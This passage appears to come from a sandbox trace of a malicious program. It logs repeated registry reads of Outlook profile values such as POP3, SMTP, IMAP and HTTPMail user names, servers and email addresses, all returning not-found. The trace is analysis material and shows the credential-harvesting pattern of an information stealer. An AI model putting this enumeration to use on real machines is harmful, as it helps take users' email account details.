RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20219, phkResult=0x12ee10 | out: phkResult=0x12ee10*=0x1f8) returned 0x0 [0079.738] RegQueryValueExA (in: hKey=0x1f8, lpValueName="POP3 Server", lpReserved=0x0, lpType=0x12ee08, lpData=0x0, lpcbData=0x12ee0c*=0x12edf4 | out: lpType=0x12ee08*=0x0, lpData=0x0, lpcbData=0x12ee0c*=0x0) returned 0x2 [0079.738] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.738] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20119, phkResult=0x12ede4 | out: phkResult=0x12ede4*=0x1f8) returned 0x0 [0079.738] RegQueryValueExA (in: hKey=0x1f8, lpValueName="POP3 Server", lpReserved=0x0, lpType=0x12eddc, lpData=0x0, lpcbData=0x12ede0*=0x12edc8 | out: lpType=0x12eddc*=0x0, lpData=0x0, lpcbData=0x12ede0*=0x0) returned 0x2 [0079.738] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.738] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ee3c | out: phkResult=0x12ee3c*=0x1f8) returned 0x0 [0079.738] RegQueryValueExA (in: hKey=0x1f8, lpValueName="POP3 User Name", lpReserved=0x0, lpType=0x12ee34, lpData=0x0, lpcbData=0x12ee38*=0x0 | out: lpType=0x12ee34*=0x0, lpData=0x0, lpcbData=0x12ee38*=0x0) returned 0x2 [0079.738] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.738] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20219, phkResult=0x12ee10 | out: phkResult=0x12ee10*=0x1f8) returned 0x0 [0079.738] RegQueryValueExA (in: hKey=0x1f8, lpValueName="POP3 User Name", lpReserved=0x0, lpType=0x12ee08, lpData=0x0, lpcbData=0x12ee0c*=0x12edf4 | out: lpType=0x12ee08*=0x0, lpData=0x0, lpcbData=0x12ee0c*=0x0) returned 0x2 [0079.738] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.738] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20119, phkResult=0x12ede4 | out: phkResult=0x12ede4*=0x1f8) returned 0x0 [0079.739] RegQueryValueExA (in: hKey=0x1f8, lpValueName="POP3 User Name", lpReserved=0x0, lpType=0x12eddc, lpData=0x0, lpcbData=0x12ede0*=0x12edc8 | out: lpType=0x12eddc*=0x0, lpData=0x0, lpcbData=0x12ede0*=0x0) returned 0x2 [0079.739] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.739] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ee3c | out: phkResult=0x12ee3c*=0x1f8) returned 0x0 [0079.739] RegQueryValueExA (in: hKey=0x1f8, lpValueName="SMTP User Name", lpReserved=0x0, lpType=0x12ee34, lpData=0x0, lpcbData=0x12ee38*=0x0 | out: lpType=0x12ee34*=0x0, lpData=0x0, lpcbData=0x12ee38*=0x0) returned 0x2 [0079.739] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.739] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20219, phkResult=0x12ee10 | out: phkResult=0x12ee10*=0x1f8) returned 0x0 [0079.739] RegQueryValueExA (in: hKey=0x1f8, lpValueName="SMTP User Name", lpReserved=0x0, lpType=0x12ee08, lpData=0x0, lpcbData=0x12ee0c*=0x12edf4 | out: lpType=0x12ee08*=0x0, lpData=0x0, lpcbData=0x12ee0c*=0x0) returned 0x2 [0079.739] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.739] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20119, phkResult=0x12ede4 | out: phkResult=0x12ede4*=0x1f8) returned 0x0 [0079.739] RegQueryValueExA (in: hKey=0x1f8, lpValueName="SMTP User Name", lpReserved=0x0, lpType=0x12eddc, lpData=0x0, lpcbData=0x12ede0*=0x12edc8 | out: lpType=0x12eddc*=0x0, lpData=0x0, lpcbData=0x12ede0*=0x0) returned 0x2 [0079.739] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.739] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ee3c | out: phkResult=0x12ee3c*=0x1f8) returned 0x0 [0079.739] RegQueryValueExA (in: hKey=0x1f8, lpValueName="NNTP Email Address", lpReserved=0x0, lpType=0x12ee34, lpData=0x0, lpcbData=0x12ee38*=0x0 | out: lpType=0x12ee34*=0x0, lpData=0x0, lpcbData=0x12ee38*=0x0) returned 0x2 [0079.739] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.739] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20219, phkResult=0x12ee10 | out: phkResult=0x12ee10*=0x1f8) returned 0x0 [0079.739] RegQueryValueExA (in: hKey=0x1f8, lpValueName="NNTP Email Address", lpReserved=0x0, lpType=0x12ee08, lpData=0x0, lpcbData=0x12ee0c*=0x12edf4 | out: lpType=0x12ee08*=0x0, lpData=0x0, lpcbData=0x12ee0c*=0x0) returned 0x2 [0079.739] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.739] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20119, phkResult=0x12ede4 | out: phkResult=0x12ede4*=0x1f8) returned 0x0 [0079.739] RegQueryValueExA (in: hKey=0x1f8, lpValueName="NNTP Email Address", lpReserved=0x0, lpType=0x12eddc, lpData=0x0, lpcbData=0x12ede0*=0x12edc8 | out: lpType=0x12eddc*=0x0, lpData=0x0, lpcbData=0x12ede0*=0x0) returned 0x2 [0079.739] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.739] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ee3c | out: phkResult=0x12ee3c*=0x1f8) returned 0x0 [0079.739] RegQueryValueExA (in: hKey=0x1f8, lpValueName="NNTP User Name", lpReserved=0x0, lpType=0x12ee34, lpData=0x0, lpcbData=0x12ee38*=0x0 | out: lpType=0x12ee34*=0x0, lpData=0x0, lpcbData=0x12ee38*=0x0) returned 0x2 [0079.740] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.740] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20219, phkResult=0x12ee10 | out: phkResult=0x12ee10*=0x1f8) returned 0x0 [0079.740] RegQueryValueExA (in: hKey=0x1f8, lpValueName="NNTP User Name", lpReserved=0x0, lpType=0x12ee08, lpData=0x0, lpcbData=0x12ee0c*=0x12edf4 | out: lpType=0x12ee08*=0x0, lpData=0x0, lpcbData=0x12ee0c*=0x0) returned 0x2 [0079.740] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.740] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20119, phkResult=0x12ede4 | out: phkResult=0x12ede4*=0x1f8) returned 0x0 [0079.740] RegQueryValueExA (in: hKey=0x1f8, lpValueName="NNTP User Name", lpReserved=0x0, lpType=0x12eddc, lpData=0x0, lpcbData=0x12ede0*=0x12edc8 | out: lpType=0x12eddc*=0x0, lpData=0x0, lpcbData=0x12ede0*=0x0) returned 0x2 [0079.740] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.740] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ee3c | out: phkResult=0x12ee3c*=0x1f8) returned 0x0 [0079.740] RegQueryValueExA (in: hKey=0x1f8, lpValueName="NNTP Server", lpReserved=0x0, lpType=0x12ee34, lpData=0x0, lpcbData=0x12ee38*=0x0 | out: lpType=0x12ee34*=0x0, lpData=0x0, lpcbData=0x12ee38*=0x0) returned 0x2 [0079.740] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.740] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20219, phkResult=0x12ee10 | out: phkResult=0x12ee10*=0x1f8) returned 0x0 [0079.740] RegQueryValueExA (in: hKey=0x1f8, lpValueName="NNTP Server", lpReserved=0x0, lpType=0x12ee08, lpData=0x0, lpcbData=0x12ee0c*=0x12edf4 | out: lpType=0x12ee08*=0x0, lpData=0x0, lpcbData=0x12ee0c*=0x0) returned 0x2 [0079.740] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.740] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20119, phkResult=0x12ede4 | out: phkResult=0x12ede4*=0x1f8) returned 0x0 [0079.740] RegQueryValueExA (in: hKey=0x1f8, lpValueName="NNTP Server", lpReserved=0x0, lpType=0x12eddc, lpData=0x0, lpcbData=0x12ede0*=0x12edc8 | out: lpType=0x12eddc*=0x0, lpData=0x0, lpcbData=0x12ede0*=0x0) returned 0x2 [0079.740] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.740] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ee3c | out: phkResult=0x12ee3c*=0x1f8) returned 0x0 [0079.740] RegQueryValueExA (in: hKey=0x1f8, lpValueName="IMAP Server", lpReserved=0x0, lpType=0x12ee34, lpData=0x0, lpcbData=0x12ee38*=0x0 | out: lpType=0x12ee34*=0x0, lpData=0x0, lpcbData=0x12ee38*=0x0) returned 0x2 [0079.740] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.740] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20219, phkResult=0x12ee10 | out: phkResult=0x12ee10*=0x1f8) returned 0x0 [0079.740] RegQueryValueExA (in: hKey=0x1f8, lpValueName="IMAP Server", lpReserved=0x0, lpType=0x12ee08, lpData=0x0, lpcbData=0x12ee0c*=0x12edf4 | out: lpType=0x12ee08*=0x0, lpData=0x0, lpcbData=0x12ee0c*=0x0) returned 0x2 [0079.740] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.741] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20119, phkResult=0x12ede4 | out: phkResult=0x12ede4*=0x1f8) returned 0x0 [0079.741] RegQueryValueExA (in: hKey=0x1f8, lpValueName="IMAP Server", lpReserved=0x0, lpType=0x12eddc, lpData=0x0, lpcbData=0x12ede0*=0x12edc8 | out: lpType=0x12eddc*=0x0, lpData=0x0, lpcbData=0x12ede0*=0x0) returned 0x2 [0079.741] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.741] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ee3c | out: phkResult=0x12ee3c*=0x1f8) returned 0x0 [0079.741] RegQueryValueExA (in: hKey=0x1f8, lpValueName="IMAP User Name", lpReserved=0x0, lpType=0x12ee34, lpData=0x0, lpcbData=0x12ee38*=0x0 | out: lpType=0x12ee34*=0x0, lpData=0x0, lpcbData=0x12ee38*=0x0) returned 0x2 [0079.741] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.741] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20219, phkResult=0x12ee10 | out: phkResult=0x12ee10*=0x1f8) returned 0x0 [0079.741] RegQueryValueExA (in: hKey=0x1f8, lpValueName="IMAP User Name", lpReserved=0x0, lpType=0x12ee08, lpData=0x0, lpcbData=0x12ee0c*=0x12edf4 | out: lpType=0x12ee08*=0x0, lpData=0x0, lpcbData=0x12ee0c*=0x0) returned 0x2 [0079.741] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.741] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20119, phkResult=0x12ede4 | out: phkResult=0x12ede4*=0x1f8) returned 0x0 [0079.741] RegQueryValueExA (in: hKey=0x1f8, lpValueName="IMAP User Name", lpReserved=0x0, lpType=0x12eddc, lpData=0x0, lpcbData=0x12ede0*=0x12edc8 | out: lpType=0x12eddc*=0x0, lpData=0x0, lpcbData=0x12ede0*=0x0) returned 0x2 [0079.741] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.741] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ee3c | out: phkResult=0x12ee3c*=0x1f8) returned 0x0 [0079.741] RegQueryValueExA (in: hKey=0x1f8, lpValueName="Email", lpReserved=0x0, lpType=0x12ee34, lpData=0x0, lpcbData=0x12ee38*=0x0 | out: lpType=0x12ee34*=0x0, lpData=0x0, lpcbData=0x12ee38*=0x0) returned 0x2 [0079.741] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.741] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20219, phkResult=0x12ee10 | out: phkResult=0x12ee10*=0x1f8) returned 0x0 [0079.741] RegQueryValueExA (in: hKey=0x1f8, lpValueName="Email", lpReserved=0x0, lpType=0x12ee08, lpData=0x0, lpcbData=0x12ee0c*=0x12edf4 | out: lpType=0x12ee08*=0x0, lpData=0x0, lpcbData=0x12ee0c*=0x0) returned 0x2 [0079.741] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.741] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20119, phkResult=0x12ede4 | out: phkResult=0x12ede4*=0x1f8) returned 0x0 [0079.741] RegQueryValueExA (in: hKey=0x1f8, lpValueName="Email", lpReserved=0x0, lpType=0x12eddc, lpData=0x0, lpcbData=0x12ede0*=0x12edc8 | out: lpType=0x12eddc*=0x0, lpData=0x0, lpcbData=0x12ede0*=0x0) returned 0x2 [0079.741] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.741] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ee3c | out: phkResult=0x12ee3c*=0x1f8) returned 0x0 [0079.742] RegQueryValueExA (in: hKey=0x1f8, lpValueName="HTTP User", lpReserved=0x0, lpType=0x12ee34, lpData=0x0, lpcbData=0x12ee38*=0x0 | out: lpType=0x12ee34*=0x0, lpData=0x0, lpcbData=0x12ee38*=0x0) returned 0x2 [0079.742] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.742] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20219, phkResult=0x12ee10 | out: phkResult=0x12ee10*=0x1f8) returned 0x0 [0079.742] RegQueryValueExA (in: hKey=0x1f8, lpValueName="HTTP User", lpReserved=0x0, lpType=0x12ee08, lpData=0x0, lpcbData=0x12ee0c*=0x12edf4 | out: lpType=0x12ee08*=0x0, lpData=0x0, lpcbData=0x12ee0c*=0x0) returned 0x2 [0079.742] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.742] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20119, phkResult=0x12ede4 | out: phkResult=0x12ede4*=0x1f8) returned 0x0 [0079.742] RegQueryValueExA (in: hKey=0x1f8, lpValueName="HTTP User", lpReserved=0x0, lpType=0x12eddc, lpData=0x0, lpcbData=0x12ede0*=0x12edc8 | out: lpType=0x12eddc*=0x0, lpData=0x0, lpcbData=0x12ede0*=0x0) returned 0x2 [0079.742] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.742] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ee3c | out: phkResult=0x12ee3c*=0x1f8) returned 0x0 [0079.742] RegQueryValueExA (in: hKey=0x1f8, lpValueName="HTTP Server URL", lpReserved=0x0, lpType=0x12ee34, lpData=0x0, lpcbData=0x12ee38*=0x0 | out: lpType=0x12ee34*=0x0, lpData=0x0, lpcbData=0x12ee38*=0x0) returned 0x2 [0079.742] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.742] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20219, phkResult=0x12ee10 | out: phkResult=0x12ee10*=0x1f8) returned 0x0 [0079.742] RegQueryValueExA (in: hKey=0x1f8, lpValueName="HTTP Server URL", lpReserved=0x0, lpType=0x12ee08, lpData=0x0, lpcbData=0x12ee0c*=0x12edf4 | out: lpType=0x12ee08*=0x0, lpData=0x0, lpcbData=0x12ee0c*=0x0) returned 0x2 [0079.742] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.742] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20119, phkResult=0x12ede4 | out: phkResult=0x12ede4*=0x1f8) returned 0x0 [0079.742] RegQueryValueExA (in: hKey=0x1f8, lpValueName="HTTP Server URL", lpReserved=0x0, lpType=0x12eddc, lpData=0x0, lpcbData=0x12ede0*=0x12edc8 | out: lpType=0x12eddc*=0x0, lpData=0x0, lpcbData=0x12ede0*=0x0) returned 0x2 [0079.742] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.742] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ee3c | out: phkResult=0x12ee3c*=0x1f8) returned 0x0 [0079.742] RegQueryValueExA (in: hKey=0x1f8, lpValueName="POP3 User", lpReserved=0x0, lpType=0x12ee34, lpData=0x0, lpcbData=0x12ee38*=0x0 | out: lpType=0x12ee34*=0x0, lpData=0x0, lpcbData=0x12ee38*=0x0) returned 0x2 [0079.742] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.742] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20219, phkResult=0x12ee10 | out: phkResult=0x12ee10*=0x1f8) returned 0x0 [0079.742] RegQueryValueExA (in: hKey=0x1f8, lpValueName="POP3 User", lpReserved=0x0, lpType=0x12ee08, lpData=0x0, lpcbData=0x12ee0c*=0x12edf4 | out: lpType=0x12ee08*=0x0, lpData=0x0, lpcbData=0x12ee0c*=0x0) returned 0x2 [0079.743] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.743] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20119, phkResult=0x12ede4 | out: phkResult=0x12ede4*=0x1f8) returned 0x0 [0079.743] RegQueryValueExA (in: hKey=0x1f8, lpValueName="POP3 User", lpReserved=0x0, lpType=0x12eddc, lpData=0x0, lpcbData=0x12ede0*=0x12edc8 | out: lpType=0x12eddc*=0x0, lpData=0x0, lpcbData=0x12ede0*=0x0) returned 0x2 [0079.743] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.743] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ee3c | out: phkResult=0x12ee3c*=0x1f8) returned 0x0 [0079.743] RegQueryValueExA (in: hKey=0x1f8, lpValueName="IMAP User", lpReserved=0x0, lpType=0x12ee34, lpData=0x0, lpcbData=0x12ee38*=0x0 | out: lpType=0x12ee34*=0x0, lpData=0x0, lpcbData=0x12ee38*=0x0) returned 0x2 [0079.743] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.743] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20219, phkResult=0x12ee10 | out: phkResult=0x12ee10*=0x1f8) returned 0x0 [0079.743] RegQueryValueExA (in: hKey=0x1f8, lpValueName="IMAP User", lpReserved=0x0, lpType=0x12ee08, lpData=0x0, lpcbData=0x12ee0c*=0x12edf4 | out: lpType=0x12ee08*=0x0, lpData=0x0, lpcbData=0x12ee0c*=0x0) returned 0x2 [0079.743] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.743] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20119, phkResult=0x12ede4 | out: phkResult=0x12ede4*=0x1f8) returned 0x0 [0079.743] RegQueryValueExA (in: hKey=0x1f8, lpValueName="IMAP User", lpReserved=0x0, lpType=0x12eddc, lpData=0x0, lpcbData=0x12ede0*=0x12edc8 | out: lpType=0x12eddc*=0x0, lpData=0x0, lpcbData=0x12ede0*=0x0) returned 0x2 [0079.743] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.743] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ee3c | out: phkResult=0x12ee3c*=0x1f8) returned 0x0 [0079.743] RegQueryValueExA (in: hKey=0x1f8, lpValueName="HTTPMail User Name", lpReserved=0x0, lpType=0x12ee34, lpData=0x0, lpcbData=0x12ee38*=0x0 | out: lpType=0x12ee34*=0x0, lpData=0x0, lpcbData=0x12ee38*=0x0) returned 0x2 [0079.743] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.743] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20219, phkResult=0x12ee10 | out: phkResult=0x12ee10*=0x1f8) returned 0x0 [0079.743] RegQueryValueExA (in: hKey=0x1f8, lpValueName="HTTPMail User Name", lpReserved=0x0, lpType=0x12ee08, lpData=0x0, lpcbData=0x12ee0c*=0x12edf4 | out: lpType=0x12ee08*=0x0, lpData=0x0, lpcbData=0x12ee0c*=0x0) returned 0x2 [0079.744] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.744] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20119, phkResult=0x12ede4 | out: phkResult=0x12ede4*=0x1f8) returned 0x0 [0079.744] RegQueryValueExA (in: hKey=0x1f8, lpValueName="HTTPMail User Name", lpReserved=0x0, lpType=0x12eddc, lpData=0x0, lpcbData=0x12ede0*=0x12edc8 | out: lpType=0x12eddc*=0x0, lpData=0x0, lpcbData=0x12ede0*=0x0) returned 0x2 [0079.744] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.744] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ee3c | out: phkResult=0x12ee3c*=0x1f8) returned 0x0 [0079.744] RegQueryValueExA (in: hKey=0x1f8, lpValueName="HTTPMail Server", lpReserved=0x0, lpType=0x12ee34, lpData=0x0, lpcbData=0x12ee38*=0x0 | out: lpType=0x12ee34*=0x0, lpData=0x0, lpcbData=0x12ee38*=0x0) returned 0x2 [0079.744] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.744] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20219, phkResult=0x12ee10 | out: phkResult=0x12ee10*=0x1f8) returned 0x0 [0079.744] RegQueryValueExA (in: hKey=0x1f8, lpValueName="HTTPMail Server", lpReserved=0x0, lpType=0x12ee08, lpData=0x0, lpcbData=0x12ee0c*=0x12edf4 | out: lpType=0x12ee08*=0x0, 